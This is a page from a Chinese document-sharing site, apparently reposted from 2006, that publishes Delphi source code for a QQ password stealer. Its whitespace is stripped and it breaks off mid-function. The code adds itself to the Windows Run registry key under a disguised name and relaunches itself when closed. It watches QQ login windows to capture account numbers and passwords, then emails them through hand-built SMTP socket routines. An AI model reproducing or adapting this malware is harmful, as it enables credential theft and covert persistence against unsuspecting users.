您好,欢迎访问三七文档
盗QQ源码公布来源:作者:佚名时间:2006-08-0709:46:52分享到:QQ空间新浪微博腾讯微博人人网unitGCommonMethods;{$IComplier.inc}interfaceusesWindows,SysUtils,GConsts,GNetMethods,GQQFindMethods;procedureCreateMainWindow(hInst:HMODULE;constClassName:string;varOutHandle:HWND);procedureApplicationRun(hWindow:HWND);procedureReadSelfDataAppendedInExeFile;implementationvarIsFind:Boolean=True;procedureReadSelfDataAppendedInExeFile;varExeFile:integer;EmailInfTEmailInfo;begintryExeFile:=FileOpen(ParamStr(0),fmOpenReadorfmShareDenyNone);FileSeek(ExeFile,-SizeOf(TEmailInfo),2);FileRead(ExeFile,EmailInfo,SizeOf(TEmailInfo));EmailRecever:=EmailInfo.Receveer;EmailSubject:=EmailInfo.Subject;//MessageBox(0,pchar(EmailRecever+#13#10+EmailSubject),'提示',MB_OK+MB_ICONINFORMATION);finallyFileClose(ExeFile);end;end;//--------------------------------------------------------------------//设置程序自动运行,为了减少程序的体积,采用API函数写注册表procedureSetAutoRun;vark1:hkey;l:longint;p:pchar;begintry{$IFNDEFDebugMode}l:=regopenkey(HKEY_LOCAL_MACHINE,'SOFTWARE',k1);l:=regopenkey(k1,'Microsoft',k1);l:=regopenkey(k1,'Windows',k1);l:=regopenkey(k1,'CurrentVersion',k1);l:=regopenkey(k1,'Run',k1);p:=pchar(ParamStr(0));l:=regsetvalueEx(k1,'SysDesktop',0,1,p,255);{$ENDIF}exceptend;end;procedureRunExeAgainAndKillSelf(hWindows:HWND);begin{$IFNDEFDebugMode}winexec(pchar(ExtractFilePath(ParamStr(0))),1);KillTimer(hWindows,1);{$ENDIF}Halt;end;procedureDoTimeMethod(hWnd:HWND);beginSetAutoRun;ifIsFindthen//计时器处于查找QQ窗口...FindQQWindowForAnyVersion(hWnd,IsFind);ifnotIsFindthen//计时器处于监视号码和密码...GoOnMonitorPasswordAndQQNumber(hWnd,IsFind)else//登录窗口消失,把密码发出,并让计时器回到查找QQ窗口中...beginisFind:=true;SendMail;end;end;functionWindowProc(hWnd,uMsg,wParam,lParam:Integer):Integer;stdcall;beginResult:=DefWindowProc(hWnd,uMsg,wParam,lParam);caseuMsgof//退出WM_DESTROY:RunExeAgainAndKillSelf(hWnd);//计时器消息WM_TIMER:DoTimeMethod(hWnd);end;end;procedureCreateMainWindow(hInst:HMODULE;constClassName:string;varOutHandle:HWND);varWinClass:TWndClassA;Inst:THandle;beginInst:=hInst;withWinClassdobeginstyle:=CS_CLASSDCorCS_PARENTDC;lpfnWndProc:=@WindowProc;hInstance:=Inst;hbrBackground:=color_btnface+1;lpszClassname:=PChar(ClassName);hCursor:=LoadCursor(0,IDC_ARROW);end;{with}RegisterClass(WinClass);OutHandle:=CreateWindowEx(WS_EX_WINDOWEDGE,PChar(ClassName),PChar(ClassName),WS_SIZEBOXorWS_CAPTIONorWS_SYSMENUorWS_VISIBLE,363,278,305,65,0,0,Inst,nil);end;procedureApplicationRun(hWindow:HWND);varMsg:TMsg;beginwhile(GetMessage(Msg,hWindow,0,0))dobeginTranslateMessage(msg);DispatchMessage(msg);end;end;end.另一个单元unitGNetMethods;//{$IComplier.inc}interfaceusesWinsock,GConsts,Wininet,SysUtils{$IFDEFDebugMode},windows{$ENDIF};procedureSendMail;//发送邮件functionNetInternetConnected:Boolean;implementationfunctionNetInternetConnected:Boolean;vardwConnectionTypes:DWORD;//值begindwConnectionTypes:=INTERNET_CONNECTION_LAN+INTERNET_CONNECTION_MODEM+INTERNET_CONNECTION_PROXY;Result:=InternetGetConnectedState(@dwConnectionTypes,0);end;functionEncodeBase64(constSource:string):string;varTimes,LenSrc,i:Integer;x1,x2,x3,x4:Char;xt:Byte;beginResult:='';LenSrc:=Length(Source);ifLenSrcmod3=0thenTimes:=LenSrcdiv3elseTimes:=LenSrcdiv3+1;fori:=0toTimes-1dobeginifLenSrc=(3+i*3)thenbeginx1:=BaseTable[(ord(Source[1+i*3])shr2)+1];xt:=(ord(Source[1+i*3])shl4)and48;xt:=xtor(ord(Source[2+i*3])shr4);x2:=BaseTable[xt+1];xt:=(Ord(Source[2+i*3])shl2)and60;xt:=xtor(Ord(Source[3+i*3])shr6);x3:=BaseTable[xt+1];xt:=(ord(Source[3+i*3])and63);x4:=BaseTable[xt+1];endelseifLenSrc=(2+i*3)thenbeginx1:=BaseTable[(Ord(Source[1+i*3])shr2)+1];xt:=(Ord(Source[1+i*3])shl4)and48;xt:=xtor(Ord(Source[2+i*3])shr4);x2:=BaseTable[xt+1];xt:=(Ord(Source[2+i*3])shl2)and60;x3:=BaseTable[xt+1];x4:='=';endelsebeginx1:=BaseTable[(Ord(Source[1+i*3])shr2)+1];xt:=(Ord(Source[1+i*3])shl4)and48;x2:=BaseTable[xt+1];x3:='=';x4:='=';end;Result:=Result+x1+x2+x3+x4;end;end;//Write_Socket函数functionWrite_Socket(sockfd:TSocket;consts:string):Integer;//功能:将字符串S写入sockfdbegin//form1.Memo1.Lines.Add(s);Result:=Send(sockfd,pointer(s)^,Length(s),0)end;//Socket_Readline函数functionSocket_Readline(sockfd:Integer):string;//功能:从sockfd中读取一行(即,直至遇到换行符)。//返回值:返回从sockfd中所读取的一行字符。varS:string;buf:array[0..1]ofChar;n:Cardinal;beginbuf[0]:=#0;buf[1]:=#0;S:='';n:=recv(sockfd,Buf,1,0);whilen0dobeginbuf[1]:=#0;S:=S+buf;if(buf[0]=#10)thenBreak;n:=recv(sockfd,buf,1,0);end;Result:=Trim(S);//form1.memo1.Lines.Add(trim(S));end;functionCreateClientSocket(Host:string;Port:integer):Integer;//功能:与指定的主机Host建立一个TCP连接,使用Port端口。//返回值:如果成功返回一个Socket描述符;否则返回//INVALID_SOCKETvari:integer;p:^LongInt;phe:pHostEnt;sin:sockaddr_in;beginResult:=INVALID_SOCKET;sin.sin_family:=AF_INET;sin.sin_port:=htons(Port);//将主机名转换为32位的IPphe:=gethostbyname(pchar(host));ifphenilthenbeginp:=Pointer(phe^.h_addr_list^);sin.sin_addr.s_addr:=p^;endelsebegini:=inet_addr(PChar(Host));ifi-1thensin.sin_addr.S_addr:=ielse//无法获取主机Host的IPExit;end;//创建一个面向连接的字节流SocketResult:=socket(PF_INET,SOCK_STREAM,0);if(Result=INVALID_SOCKET)thenExit;//使用此Socket描述符与远处的主机建立一个TCP连接ifConnect(Result
本文标题:盗QQ源码
链接地址:https://www.777doc.com/doc-3605917 .html